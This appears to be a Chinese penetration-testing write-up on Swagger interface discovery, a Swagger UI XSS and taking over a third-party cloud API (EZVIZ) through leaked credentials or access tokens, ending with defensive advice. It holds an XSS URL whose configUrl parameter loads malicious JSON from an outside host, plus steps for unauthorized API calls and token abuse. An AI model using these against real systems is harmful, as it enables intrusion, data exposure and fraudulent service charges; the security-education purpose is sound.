记一次swagger的深度测试造成第三方API服务接管
字数 1148 2025-08-30 06:50:27
Swagger接口安全测试与第三方API服务接管实战指南
一、Swagger接口发现与识别
1.1 常见Swagger接口路径特征
在渗透测试中,可通过以下常见路径特征识别Swagger接口:
/api/v1或/api/v2/api或/apis/swagger-ui.html/api-docs
典型示例:
https://www.xxxtest.com/api/v1
https://www.xxxtest.com/api/v1/swagger-ui.html
https://www.xxxtest.com/api/v1/api-docs
1.2 自动化扫描工具推荐
推荐使用springboot-scan工具进行目录扫描:
https://github.com/AabyssZG/SpringBoot-Scan
二、Swagger接口安全漏洞利用
2.1 Swagger UI XSS漏洞(低版本通杀)
漏洞特征:
- 影响低版本Swagger UI
- 成功率约60%
利用方式:
通过configUrl参数引入外部恶意JSON配置:
https://www.xxxtest.com/api/v1/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
测试链接:
https://xss.smarpo.com/test.json
2.2 未授权接口访问
利用流程:
- 访问Swagger文档页面获取API接口列表
- 提取接口信息(如示例中的
/apis/site/addAsset等) - 构造请求测试接口是否未授权
请求示例:
POST /apis/site/siteActivityList HTTP/1.1
Host: XXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json; charset=utf-8
Content-Length: 2
{}
三、第三方API服务接管技术
3.1 接管原理
企业购买第三方服务(如萤石云服务)后,通过以下凭证访问:
- Key & Secret:用于生成access_token的长期凭证
- Access Token:有时效性的访问令牌
3.2 两种接管方式
-
获取Key和Secret:
- 通过Swagger文档泄露或其他途径获取
- 可自行生成任意access_token
- 危害性极大
-
仅获取Access Token:
- 虽然有时效性
- 但在有效期内仍可滥用服务
3.3 实战案例:萤石云服务接管
步骤:
- 从Swagger文档中发现第三方API接口描述
- 构造请求获取萤石云服务的access_token
- 验证token有效性:
- 访问萤石云开放平台文档:
https://open.ys7.com/help/81 https://help.eziot.com/help/629 - 按照文档格式构造请求
- 携带获取的access_token调用API
- 访问萤石云开放平台文档:
风险影响:
- 滥用第三方服务接口
- 产生额外费用
- 可能获取敏感数据
四、防御建议
-
Swagger接口保护:
- 生产环境禁用Swagger UI
- 添加身份验证
- 升级到最新版本
-
API访问控制:
- 实施严格的权限控制
- 使用API网关进行访问管理
- 监控异常API调用
-
第三方服务凭证保护:
- 避免在客户端存储Key/Secret
- 使用短期有效的access_token
- 设置调用频率限制
- 定期轮换凭证
-
安全审计:
- 定期检查接口文档泄露
- 监控第三方服务使用情况
- 设置费用告警阈值
五、总结
通过Swagger接口文档泄露可导致:
- XSS攻击(低版本Swagger UI)
- 未授权API访问
- 第三方服务凭证泄露
- 第三方API服务接管
安全团队应特别关注Swagger文档和第三方API凭证的保护,防止因配置不当导致严重安全事件。